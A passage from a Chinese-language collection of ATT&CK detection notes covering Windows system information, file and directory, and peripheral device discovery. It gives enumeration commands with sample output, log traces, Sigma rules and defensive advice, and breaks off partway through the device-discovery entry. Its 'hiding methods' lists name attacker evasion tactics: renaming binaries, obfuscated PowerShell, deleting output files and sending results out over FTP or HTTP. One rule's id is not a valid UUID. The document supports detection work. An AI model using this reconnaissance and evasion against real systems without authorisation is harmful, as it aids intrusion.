    "content": "# T1082-Win-系统信息发现\n\n## 描述\n\n攻击者通过系统信息发现（T1082）获取 Windows 系统的操作系统、硬件和配置的详细信息，包括操作系统版本、构建号、架构、已安装补丁、修补程序、服务包、主机名、域角色和目录结构。这些信息帮助攻击者了解目标环境，识别漏洞（如未修补系统），定制恶意软件，或计划后续行动，如权限提升、横向移动或持久化攻击。常用的 Windows 工具包括 `systeminfo`、`ver`、`dir`、PowerShell 命令（如 `Get-ComputerInfo`、`Get-CimInstance`）、WMIC（如 `wmic os get`）和注册表查询（如 `reg query`）。本文档聚焦于 Windows 平台下系统信息发现的检测与防御。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2012 / Windows 10\n- 权限：普通用户（大多数命令无需管理员权限）\n- 工具：CMD、PowerShell、WMIC\n\n### 测试案例 1：使用 `systeminfo`\n**关联技术**：T1082（系统配置枚举）\n```dos\nsysteminfo\n```\n**输出示例**：\n```\n\n主机名:           DESKTOP-4C7J879\nOS 名称:          Microsoft Windows 10 专业版\nOS 版本:          10.0.19042 暂缺 Build 19042\nOS 制造商:        Microsoft Corporation\nOS 配置:          独立工作站\nOS 构建类型:      Multiprocessor Free\n注册的所有人:     heihei\n注册的组织:\n产品 ID:          00330-80000-00000-AA820\n初始安装日期:     2025/5/21, 14:39:36\n系统启动时间:     2025/5/26, 4:08:09\n系统制造商:       Parallels International GmbH.\n系统型号:         Parallels Virtual Platform\n系统类型:         x64-based PC\n处理器:           安装了 1 个处理器。\n                  [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz\nBIOS 版本:        Parallels International GmbH. 20.2.2 (55879), 2025/2/22\nWindows 目录:     C:\\WINDOWS\n系统目录:         C:\\WINDOWS\\system32\n启动设备:         \\Device\\HarddiskVolume2\n系统区域设置:     zh-cn;中文(中国)\n输入法区域设置:   zh-cn;中文(中国)\n时区:             (UTC+08:00) 伊尔库茨克\n```\n**说明**：\n- 枚举系统详细信息，包括 OS 版本、补丁、硬件、内存、域信息等。\n- 普通用户权限即可执行。\n- 关联 T1082：获取系统配置和补丁状态。\n\n### 测试案例 2：使用 `ver`\n**关联技术**：T1082（OS 版本枚举）\n```dos\nver\n```\n**输出示例**：\n```\nMicrosoft Windows [版本 10.0.19042.1706]\n```\n**说明**：\n- 显示 Windows 操作系统版本和构建号。\n- 普通用户权限。\n- 关联 T1082：快速获取 OS 版本。\n\n### 测试案例 3：使用 `dir`\n**关联技术**：T1082（目录结构枚举）\n```dos\ndir C:\\Windows\n```\n**输出示例**：\n```\n 卷的序列号是 2A88-F737\n\n C:\\Windows 的目录\n\n2025/05/26  00:34    <DIR>          .\n2025/05/26  00:34    <DIR>          ..\n2019/12/07  22:45    <DIR>          addins\n2025/05/22  09:39    <DIR>          appcompat\n```\n**说明**：\n- 列出指定目录（`C:\\Windows`）的文件和子目录结构。\n- 普通用户权限。\n- 关联 T1082：了解文件系统布局。\n\n### 测试案例 4：使用 PowerShell `Get-ComputerInfo`\n**关联技术**：T1082（系统配置枚举）\n```powershell\nGet-ComputerInfo\n```\n**输出示例**：\n```\nWindowsBuildLabEx                                       : 19041.1.amd64fre.vb_release.191206-1406\nWindowsCurrentVersion                                   : 6.3\nWindowsEditionId                                        : Professional\nWindowsInstallationType                                 : Client\nWindowsInstallDateFromRegistry                          : 2025/5/21 6:39:36\nWindowsProductId                                        : 00330-80000-00000-AA820\nWindowsProductName                                      : Windows 10 Pro\nWindowsRegisteredOrganization                           :\nWindowsRegisteredOwner                                  : heihei\n```\n**说明**：\n- 提供详细的系统信息，包括版本、补丁、安装日期、硬件等。\n- 普通用户权限。\n- 关联 T1082：全面收集系统配置。\n\n### 测试案例 5：使用 WMIC `wmic os get`\n**关联技术**：T1082（OS 信息枚举）\n```dos\nwmic os get Caption,Version,BuildNumber,OSArchitecture\n```\n**输出示例**：\n```\nBootDevice               BuildNumber  BuildType            Caption                      CodeSet  CountryCode  CreationClassName      CSCreationClassName   CSDVersion  CSName           CurrentTimeZone  DataExecutionPrevention_32BitApplications  DataExecutionPrevention_Available  DataExecutionPrevention_Drivers  DataExecutionPrevention_SupportPolicy  Debug  Description  Distributed  EncryptionLevel  ForegroundApplicationBoost  FreePhysicalMemory  FreeSpaceInPagingFiles  FreeVirtualMemory  InstallDate                LargeSystemCache  LastBootUpTime             LocalDateTime              Locale  Manufacturer           MaxNumberOfProcesses  MaxProcessMemorySize  MUILanguages  Name                                                                 NumberOfLicensedUsers  NumberOfProcesses  NumberOfUsers  OperatingSystemSKU  Organization  OSArchitecture  OSLanguage  OSProductSuite  OSType  OtherTypeDescription  PAEEnabled  PlusProductID  PlusVersionNumber  PortableOperatingSystem  Primary  ProductType  RegisteredUser  SerialNumber             ServicePackMajorVersion  ServicePackMinorVersion  SizeStoredInPagingFiles  Status  SuiteMask  SystemDevice             SystemDirectory      SystemDrive  TotalSwapSpaceSize  TotalVirtualMemorySize  TotalVisibleMemorySize  Version     WindowsDirectory\n\\Device\\HarddiskVolume2  19042        Multiprocessor Free  Microsoft Windows 10 专业版  936      86           Win32_OperatingSystem  Win32_ComputerSystem              DESKTOP-4C7J879  480              TRUE                                       TRUE                               TRUE                             2                                      FALSE               FALSE        256              2                           4721812             1966080                 7315924            20250521143936.000000+480                    20250526040809.562317+480  20250526171828.096000+480  0804    Microsoft Corporation  4294967295            137438953344          {\"zh-CN\"}     Microsoft Windows 10 专业版|C:\\WINDOWS|\\Device\\Harddisk0\\Partition4                         140                2              48                                64 位           2052        256             18                                                                          FALSE                    TRUE     1            heihei          00330-80000-00000-AA820  0                        0                        1966080                  OK      272        \\Device\\HarddiskVolume4  C:\\WINDOWS\\system32  C:                               10335572                8369492                 10.0.19042  C:\\WINDOWS\n```\n**说明**：\n- 枚举 OS 的名称、版本、构建号和架构。\n- 普通用户权限。\n- 关联 T1082：获取关键 OS 信息。\n\n### 测试案例 6：使用 `reg query`\n**关联技术**：T1082（系统版本和补丁枚举）\n```dos\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\"\n```\n**输出示例**：\n```\nSystemRoot    REG_SZ    C:\\WINDOWS\n    BaseBuildRevisionNumber    REG_DWORD    0x1\n    BuildBranch    REG_SZ    vb_release\n    BuildGUID    REG_SZ    ffffffff-ffff-ffff-ffff-ffffffffffff\n    BuildLab    REG_SZ    19041.vb_release.191206-1406\n    BuildLabEx    REG_SZ    19041.1.amd64fre.vb_release.191206-1406\n```\n**说明**：\n- 查询注册表获取系统版本、构建号和安装信息。\n- 普通用户权限。\n- 关联 T1082：通过注册表收集系统信息。\n\n**注意**：\n- 上述命令通常无需管理员权限。\n- 输出结果可能因系统配置（如语言、补丁状态）而异。\n- 攻击者可能将输出重定向到文件（如 `systeminfo > info.txt`）以便后续分析。\n\n## 测试复现\n\n### 复现环境\n- 操作系统：Windows Server 2012 / Windows 10\n- 权限：普通用户权限，CMD 或 PowerShell\n- 工具：CMD、PowerShell、WMIC\n\n### 复现步骤\n1. **使用 `systeminfo`**：\n   ```dos\n   systeminfo > C:\\Temp\\sysinfo.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\sysinfo.txt`，包含系统详细信息。\n   - 安全日志事件 ID 4688 记录 `systeminfo.exe` 执行。\n   - Sysmon 事件 ID 1 记录进程创建，事件 ID 11 记录文件创建。\n\n2. **使用 `ver`**：\n   ```dos\n   ver > C:\\Temp\\version.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\version.txt`，包含 OS 版本。\n   - 安全日志事件 ID 4688 记录 `cmd.exe` 执行。\n   - Sysmon 事件 ID 1 记录进程创建。\n\n3. **使用 PowerShell**：\n   ```powershell\n   Get-ComputerInfo | Out-File C:\\Temp\\compinfo.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\compinfo.txt`，包含系统配置。\n   - PowerShell 日志事件 ID 4104 记录 `Get-ComputerInfo` 执行。\n   - Sysmon 事件 ID 1 记录 `powershell.exe` 执行，事件 ID 11 记录文件创建。\n\n### 验证\n- 检查输出文件内容，确认包含系统信息。\n- 验证日志：\n  - 安全日志：事件 ID 4688（进程创建）。\n  - Sysmon 日志：事件 ID 1（进程创建）、11（文件创建）、13（注册表查询）。\n  - PowerShell 日志：事件 ID 4103/4104（脚本执行）。\n\n## 检测日志\n\n- **安全日志**：\n  - 事件 ID 4688：进程创建，记录 `systeminfo.exe`、`cmd.exe`、`powershell.exe`、`wmic.exe` 或 `reg.exe` 的执行。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数（如 `systeminfo`、`Get-ComputerInfo`）。\n  - 事件 ID 11：文件创建，记录输出文件（如 `info.txt`）。\n  - 事件 ID 13：注册表修改或查询，记录 `reg query` 访问 `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion`。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 脚本执行，如 `Get-ComputerInfo` 或 `Get-CimInstance`。\n- **要求**：\n  - 启用 `Audit Process Creation`（安全日志，事件 ID 4688）。\n  - 部署 Sysmon，配置进程创建（事件 ID 1）、文件创建（事件 ID 11）和注册表事件（事件 ID 13）。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。\n- **注意**：\n  - Windows Server 2012 需启用审核策略（如命令行审计）以记录进程命令行参数。\n  - 日志输出可能因系统配置（如审计策略）而异。\n\n## 测试留痕\n\n- **进程相关**：\n  - 进程创建：`systeminfo.exe`、`cmd.exe`、`powershell.exe`、`wmic.exe`、`reg.exe`。\n  - 父进程：如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数：如 `systeminfo`、`Get-ComputerInfo`、`reg query`。\n- **文件相关**：\n  - 输出文件：如 `C:\\Temp\\sysinfo.txt`（`systeminfo > sysinfo.txt`）。\n- **注册表相关**：\n  - 查询路径：`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion`（`reg query`）。\n- **隐藏手段**：\n  - 重命名 `systeminfo.exe`（如 `svc.exe`）。\n  - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n  - 删除输出文件（如 `del sysinfo.txt`）。\n  - 通过网络传输输出文件（如 FTP、HTTP）以减少本地痕迹。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yaml\ntitle: Windows系统信息发现\ndescription: 检测通过systeminfo、PowerShell、WMIC或reg query执行Windows系统信息发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1082/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1082/T1082.md\ntags:\n  - attack.discovery\n  - attack.t1082\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688 # 进程创建\n    NewProcessName|endswith:\n      - '\\systeminfo.exe'\n      - '\\wmic.exe'\n      - '\\reg.exe'\n    ProcessCommandLine|contains:\n      - 'systeminfo'\n      - 'os get'\n      - 'reg query'\n      - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-ComputerInfo'\n      - 'Get-CimInstance Win32_OperatingSystem'\n  selection_sysmon:\n    EventID: 1 # Sysmon 进程创建\n    Image|endswith:\n      - '\\systeminfo.exe'\n      - '\\powershell.exe'\n      - '\\wmic.exe'\n      - '\\reg.exe'\n    CommandLine|contains:\n      - 'systeminfo'\n      - 'Get-ComputerInfo'\n      - 'os get'\n      - 'reg query'\n  selection_file:\n    EventID: 11 # Sysmon 文件创建\n    TargetFilename|endswith:\n      - '.txt'\n    TargetFilename|contains:\n      - 'sysinfo'\n      - 'info'\n      - 'version'\n  selection_registry:\n    EventID: 13 # Sysmon 注册表事件\n    TargetObject|contains:\n      - '\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion'\n  condition: selection_cmd or selection_powershell or selection_sysmon or selection_file or selection_registry\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - TargetFilename\n  - TargetObject\nlevel: medium\nfalsepositives:\n  - 管理员运行systeminfo或PowerShell进行系统诊断\n  - 合法IT管理工具触发类似行为\n```\n\n### 检测思路\n1. **进程监控**：\n   - 监控 `systeminfo.exe`、`powershell.exe`、`wmic.exe` 和 `reg.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `systeminfo`、`Get-ComputerInfo`、`os get` 或 `reg query` 的行为。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-ComputerInfo` 或 `Get-CimInstance Win32_OperatingSystem` 的执行。\n3. **文件监控**：\n   - 检测文本文件创建（事件 ID 11），特别是文件名包含 `sysinfo`、`info` 或 `version` 的文件。\n4. **注册表监控**：\n   - 监控注册表查询（事件 ID 13），特别是 `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion`。\n5. **行为分析**：\n   - 检测短时间内高频的系统信息查询（5 分钟内多次触发）。\n   - 结合上下文，如异常用户、未知父进程或非常规时间段。\n\n## 建议\n\n1. **防御措施**：\n   - 限制普通用户对 `systeminfo.exe`、`wmic.exe` 和 `reg.exe` 的执行权限。\n   - 启用组策略，限制 PowerShell 脚本执行（如 `Get-ComputerInfo`）。\n   - 部署 EDR 工具，监控异常系统信息查询行为。\n   - 定期应用系统补丁，减少未修补漏洞的暴露。\n2. **检测优化**：\n   - 监控短时间内高频的系统信息查询（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测输出文件创建（如 `sysinfo.txt`、`version.txt`）。\n   - 监控注册表查询，特别是 `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion`。\n3. **降低误报**：\n   - 排除管理员用于诊断的合法 `systeminfo` 或 PowerShell 操作。\n   - 配置白名单，过滤已知 IT 管理工具。\n   - 验证文件内容，确保与系统信息发现相关。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 `wmic` 变种、Sysinternals 的 `systeminfo`），建议监控未知可执行文件的运行。\n   - 检测异常注册表查询或文件创建行为。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1082  \n  <https://attack.mitre.org/techniques/T1082/>\n- Atomic Red Team - T1082 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1082/T1082.md>\n"
  },
  {
    "path": "Windows/09发现/T1083-win-文件和目录发现.md",
    "content": "# T1083-Win-文件和目录发现\n\n## 描述\n\n攻击者通过文件和目录发现（T1083）枚举 Windows 系统上的文件系统和目录结构，以识别敏感文件（如配置文件、凭据、日志）、网络共享或特定文件类型（如 `.docx`、`.pdf`）。这些信息可用于规划后续攻击，例如寻找可用于提权的配置文件、窃取敏感数据或识别网络共享以进行横向移动。在 Windows 系统中，攻击者可能使用原生工具如 `dir`、`tree`、`where`、`fsutil` 或 PowerShell 命令（如 `Get-ChildItem`、`Get-Item`）来枚举文件和目录。攻击者还可能利用第三方工具或直接与 Windows API 交互以获取文件信息。本文档聚焦于 Windows 平台下文件和目录发现的检测与防御。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户权限（大多数命令无需管理员权限）\n- 工具：CMD、PowerShell\n\n### 测试案例 1：使用 `dir`\n**关联技术**：T1083（目录结构枚举）\n```dos\ndir C:\\Users /s\n```\n**输出示例**：\n```\n 驱动器 C 中的卷是 OS\n 卷的序列号是 1234-5678\n\n C:\\Users 的目录\n\n2025/05/25  08:15    <DIR>          .\n2025/05/25  08:15    <DIR>          ..\n2024/10/15  10:20    <DIR>          Administrator\n2024/10/15  10:20    <DIR>          Public\n2024/10/15  10:20    <DIR>          user1\n               0 个文件              0 字节\n\n C:\\Users\\user1\\Documents 的目录\n\n2025/05/25  08:10         1,234,567  sensitive.docx\n2025/05/25  08:11           123,456  config.txt\n               2 个文件      1,358,023 字节\n               5 个目录  50,123,456,789 可用字节\n```\n**说明**：\n- 递归列出 `C:\\Users` 目录下的子目录和文件（`/s`）。\n- 普通用户权限。\n- 关联 T1083：枚举用户目录结构。\n\n### 测试案例 2：使用 `tree`\n**关联技术**：T1083（目录树枚举）\n```dos\ntree C:\\Users /f\n```\n**输出示例**：\n```\n文件夹 PATH 列表\n卷序列号为 1234-5678\nC:\\USERS\n├───Administrator\n│   └───Documents\n│           admin_notes.txt\n├───Public\n│   └───Documents\n│           public_file.pdf\n└───user1\n    └───Documents\n            sensitive.docx\n            config.txt\n```\n**说明**：\n- 显示 `C:\\Users` 的目录树结构，包括文件（`/f`）。\n- 普通用户权限。\n- 关联 T1083：可视化目录层次。\n\n### 测试案例 3：使用 `where`\n**关联技术**：T1083（文件搜索）\n```dos\nwhere /R C:\\ *.txt\n```\n**输出示例**：\n```\nC:\\Users\\Administrator\\Documents\\admin_notes.txt\nC:\\Users\\Public\\Logs\\log.txt\nC:\\Users\\user1\\Documents\\config.txt\nC:\\Temp\\readme.txt\n```\n**说明**：\n- 递归搜索 `C:\\` 下的所有 `.txt` 文件。\n- 普通用户权限。\n- 关联 T1083：定位特定文件类型。\n\n### 测试案例 4：使用 PowerShell `Get-ChildItem`\n**关联技术**：T1083（文件和目录枚举）\n```powershell\nGet-ChildItem -Path C:\\Users -Recurse -Include *.docx,*.txt\n```\n**输出示例**：\n```\n    目录: C:\\Users\\Administrator\\Documents\n\nMode                 LastWriteTime         Length Name\n----                 -------------         ------ ----\n-a----        2025/05/25   08:10         123456 admin_notes.txt\n\n    目录: C:\\Users\\user1\\Documents\n\nMode                 LastWriteTime         Length Name\n----                 -------------         ------ ----\n-a----        2025/05/25   08:10        1234567 sensitive.docx\n-a----        2025/05/25   08:11         123456 config.txt\n```\n**说明**：\n- 递归枚举 `C:\\Users` 下的 `.docx` 和 `.txt` 文件。\n- 普通用户权限。\n- 关联 T1083：搜索特定文件类型。\n\n### 测试案例 5：使用 `fsutil`\n**关联技术**：T1083（文件系统信息枚举）\n```dos\nfsutil fsinfo drives\n```\n**输出示例**：\n```\n驱动器: C:\\ D:\\ E:\\\n```\n**说明**：\n- 列出系统中的所有驱动器。\n- 普通用户权限。\n- 关联 T1083：了解文件系统布局。\n\n**注意**：\n- 上述命令通常无需管理员权限。\n- 输出结果可能因系统配置（如目录结构、文件权限）而异。\n- 攻击者可能将输出重定向到文件（如 `dir > files.txt`）。\n\n## 测试复现\n\n### 复现环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户权限，CMD 或 PowerShell\n- 工具：CMD、PowerShell\n\n### 复现步骤\n1. **使用 `dir`**：\n   ```dos\n   dir C:\\Users /s > C:\\Temp\\users_dir.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\users_dir.txt`，包含 `C:\\Users` 目录内容。\n   - 安全日志事件 ID 4688 记录 `cmd.exe` 执行。\n   - Sysmon 事件 ID 1 记录进程创建，事件 ID 11 记录文件创建。\n\n2. **使用 `tree`**：\n   ```dos\n   tree C:\\Users /f > C:\\Temp\\users_tree.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\users_tree.txt`，包含 `C:\\Users` 目录树。\n   - 安全日志事件 ID 4688 记录 `tree.com` 执行。\n   - Sysmon 事件 ID 1 记录进程创建，事件 ID 11 记录文件创建。\n\n3. **使用 PowerShell**：\n   ```powershell\n   Get-ChildItem -Path C:\\Users -Recurse -Include *.docx,*.txt | Out-File C:\\Temp\\docx_txt_files.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\docx_txt_files.txt`，包含 `.docx` 和 `.txt` 文件列表。\n   - PowerShell 日志事件 ID 4104 记录 `Get-ChildItem` 执行。\n   - Sysmon 事件 ID 1 记录 `powershell.exe` 执行，事件 ID 11 记录文件创建。\n\n### 验证\n- 检查输出文件内容，确认包含目录或文件信息。\n- 验证日志：\n  - 安全日志：事件 ID 4688（进程创建）。\n  - Sysmon 日志：事件 ID 1（进程创建）、11（文件创建）。\n  - PowerShell 日志：事件 ID 4103/4104（脚本执行）。\n\n## 检测日志\n\n- **安全日志**：\n  - 事件 ID 4688：进程创建，记录 `cmd.exe`、`tree.com`、`powershell.exe` 或 `fsutil.exe` 的执行。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数（如 `dir`、`tree`、`Get-ChildItem`）。\n  - 事件 ID 11：文件创建，记录输出文件（如 `users_dir.txt`）。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 脚本执行，如 `Get-ChildItem` 或 `Get-Item`。\n- **要求**：\n  - 启用 `Audit Process Creation`（安全日志，事件 ID 4688）。\n  - 部署 Sysmon，配置进程创建（事件 ID 1）和文件创建（事件 ID 11）监控。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。\n- **注意**：\n  - Windows Server 2016 默认不记录 `dir` 命令的执行，需启用命令行审计。\n  - 日志输出可能因系统配置（如审计策略）而异。\n\n## 测试留痕\n\n- **进程相关**：\n  - 进程创建：`cmd.exe`、`tree.com`、`powershell.exe`、`fsutil.exe`。\n  - 父进程：如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数：如 `dir /s`、`tree /f`、`Get-ChildItem -Recurse`、`fsutil fsinfo`。\n- **文件相关**：\n  - 输出文件：如 `C:\\Temp\\users_dir.txt`（`dir > users_dir.txt`）、`C:\\Temp\\users_tree.txt`。\n- **隐藏手段**：\n  - 重命名 `tree.com`（如 `svc.exe`）。\n  - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n  - 删除输出文件（如 `del users_dir.txt`）。\n  - 通过网络传输输出文件（如 FTP、HTTP）以减少本地痕迹。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yaml\ntitle: Windows 文件和目录发现\nid: 3f8b6d9m-0q1r-3s5u-i7v9-6n0q4r8t3w1x\ndescription: 检测通过 dir、tree、where、fsutil 或 PowerShell 执行 Windows 文件和目录发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1083/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1083/T1083.md\ntags:\n  - attack.discovery\n  - attack.t1083\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688 # 进程创建\n    NewProcessName|endswith:\n      - '\\cmd.exe'\n      - '\\tree.com'\n      - '\\fsutil.exe'\n    ProcessCommandLine|contains:\n      - 'dir'\n      - 'tree'\n      - 'where'\n      - 'fsinfo'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-ChildItem'\n      - 'Get-Item'\n      - 'dir'\n      - 'ls'\n  selection_sysmon:\n    EventID: 1 # Sysmon 进程创建\n    Image|endswith:\n      - '\\cmd.exe'\n      - '\\tree.com'\n      - '\\powershell.exe'\n      - '\\fsutil.exe'\n    CommandLine|contains:\n      - 'dir'\n      - 'tree'\n      - 'where'\n      - 'Get-ChildItem'\n      - 'fsinfo'\n  selection_file:\n    EventID: 11 # Sysmon 文件创建\n    TargetFilename|endswith:\n      - '.txt'\n    TargetFilename|contains:\n      - 'dir'\n      - 'tree'\n      - 'files'\n  condition: selection_cmd or selection_powershell or selection_sysmon or selection_file\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - TargetFilename\nlevel: medium\nfalsepositives:\n  - 管理员运行dir或PowerShell进行文件管理\n  - 合法IT管理工具触发类似行为\n```\n\n### 检测思路\n1. **进程监控**：\n   - 监控 `cmd.exe`、`tree.com`、`powershell.exe` 和 `fsutil.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `dir`、`tree`、`where`、`fsinfo` 或 `Get-ChildItem` 的行为。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-ChildItem`、`Get-Item` 或 `dir` 的执行。\n3. **文件监控**：\n   - 检测文本文件创建（事件 ID 11），特别是文件名包含 `dir`、`tree` 或 `files` 的文件。\n4. **行为分析**：\n   - 检测短时间内高频的文件和目录查询（5 分钟内多次触发）。\n   - 结合上下文，如异常用户、未知父进程或非常规时间段。\n   - 监控特定文件类型的递归搜索（如 `*.txt`、`*.docx`）。\n\n## 建议\n\n1. **防御措施**：\n   - 限制普通用户对 `tree.com` 和 `fsutil.exe` 的执行权限。\n   - 启用组策略，限制 PowerShell 脚本执行（如 `Get-ChildItem`）。\n   - 部署 EDR 工具，监控异常文件和目录枚举行为。\n   - 使用文件权限限制敏感目录（如 `C:\\Users`、`%APPDATA%`）的访问。\n2. **检测优化**：\n   - 监控短时间内高频的文件和目录查询（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测输出文件创建（如 `users_dir.txt`、`docx_txt_files.txt`）。\n   - 监控特定文件类型的递归搜索（如 `*.txt`、`*.docx`）。\n3. **降低误报**：\n   - 排除管理员用于文件管理的合法 `dir` 或 PowerShell 操作。\n   - 配置白名单，过滤已知IT管理工具。\n   - 验证文件内容，确保与文件和目录发现相关。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 `Everything`、`PowerView`）进行文件枚举，建议监控未知可执行文件的运行。\n   - 检测异常文件创建或高频目录查询行为。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1083  \n  <https://attack.mitre.org/techniques/T1083/>\n- Atomic Red Team - T1083 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1083/T1083.md>\n"
  },
  {
    "path": "Windows/09发现/T1120-win-周边设备发现.md",
    "content": "# T1120-Win-周边设备发现\n\n## 描述\n\n攻击者通过周边设备发现（T1120）收集 Windows 系统连接的外围设备和组件信息，包括键盘、鼠标、打印机、摄像头、可移动存储（如 USB 驱动器）、智能卡读卡器等。这些信息帮助攻击者了解系统和网络环境，识别可用于数据窃取的可移动存储、支持恶意输入的设备，或网络连接的打印机以进行横向移动。常用工具包括 `fsutil fsinfo`（查询驱动器类型）、PowerShell 命令（如 `Get-PnpDevice`、`Get-Disk`）、WMIC（`wmic path Win32_PnPEntity`）以及通过 Windows API（如 `SetupDiGetClassDevs`）直接查询设备。本文档聚焦于 Windows 平台下周边设备发现的检测与防御。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户权限（大多数命令无需管理员权限）\n- 工具：CMD、PowerShell、WMIC\n\n### 测试案例 1：使用 `fsutil fsinfo drivetype`\n**关联技术**：T1120（驱动器类型枚举）\n```dos\nfsutil fsinfo drivetype C:\n```\n**输出示例**：\n```\nC: - 固定驱动器\n```\n```dos\nfsutil fsinfo drivetype D:\n```\n**输出示例**：\n```\nD: - 可移动驱动器\n```\n**说明**：\n- 查询指定驱动器的类型（如固定、可移动、CD-ROM）。\n- 普通用户权限。\n- 关联 T1120：识别可移动存储设备。\n\n### 测试案例 2：使用 PowerShell `Get-PnpDevice`\n**关联技术**：T1120（设备枚举）\n```powershell\nGet-PnpDevice -PresentOnly | Select-Object Name,Class,Status\n```\n**输出示例**：\n```\nName                                                      Class          Status\n----                                                      -----          ------\nFax                                                       PrintQueue     OK\n可编程中断控制器                                          System         OK\nPS/2 标准键盘                                             Keyboard       OK\n通用总线                                                  System         OK\n通用总线                                                  System         OK\n通用总线                                                  System         OK\n通用总线                                                  System         OK\nMicrosoft ACPI 兼容的嵌入式控制器                         System         OK\nMicrosoft ACPI 兼容的控制方法电池                         Battery        OK\n根打印队列                                                PrintQueue     OK\nUSB Root Hub                                              USB            OK\n卷管理器                                                  System         OK\nParallels Tool Device                                     System         OK\nParallels Location Provider                               Sensor         OK\nWAN Miniport (PPPOE)                                      Net            OK\n卷                                                        Volume         OK\n直接内存访问控制器                                        System         OK\nIntel(R) 82801BA Ultra ATA Storage Controller - 244B      HDC            OK\nMicrosoft 基本显示驱动程序                                System         OK\n符合 HID 标准的数字化器                                   HIDClass       OK\nUSB 根集线器(USB 3.0)                                     USB            OK\nPCI 到 PCI 桥                                             System         OK\n卷                                                        Volume         OK\nMicrosoft RRAS Root Enumerator                            SoftwareDevice OK\nHID-compliant mouse                                       Mouse          OK\nWAN Miniport (PPTP)                                       Net            OK\nParallels Display Adapter (WDDM)                          Display        OK\n通用即插即用监视器                                        Monitor        OK\n```\n**说明**：\n- 枚举当前连接的设备，包括 USB 设备、打印机、音频设备等。\n- 普通用户权限。\n- 关联 T1120：全面收集外围设备信息。\n\n### 测试案例 3：使用 PowerShell `Get-Disk`\n**关联技术**：T1120（磁盘设备枚举）\n```powershell\nGet-Disk\n```\n**输出示例**：\n```\nNumber Friendly Name                                                 Serial Number                    HealthStatus         OperationalStatus      Total Size Partition\n                                                                                                                                                             Style\n------ -------------                                                 -------------                    ------------         -----------------      ---------- ----------\n0      Parallels Virtual NVMe Disk                                   34F1_65DF_1F35_A342_9CAC_9769... Healthy              Online                     256 GB GPT\n```\n**说明**：\n- 列出系统中的磁盘设备，包括 USB 可移动磁盘。\n- 普通用户权限。\n- 关联 T1120：识别可移动存储。\n\n### 测试案例 4：使用 WMIC\n**关联技术**：T1120（设备信息枚举）\n```dos\nwmic path Win32_PnPEntity get Name,DeviceID\n```\n**输出示例**：\n```\nDeviceID                                                                                      Name\nSWD\\PRINTENUM\\{A1109F77-633B-4BCB-B99B-F435F50910B4}                                          Fax\nACPI\\PNP0000\\4&1846B261&0                                                                     可编程中断控制器\nACPI\\PNP0303\\4&1846B261&0                                                                     PS/2 标准键盘\nACPI\\PNP0A05\\10                                                                               通用总线\nACPI\\PNP0A05\\20                                                                               通用总线\nACPI\\PNP0A05\\30                                                                               通用总线\nACPI\\PNP0A05\\40                                                                               通用总线\nACPI\\PNP0C09\\0                                                                                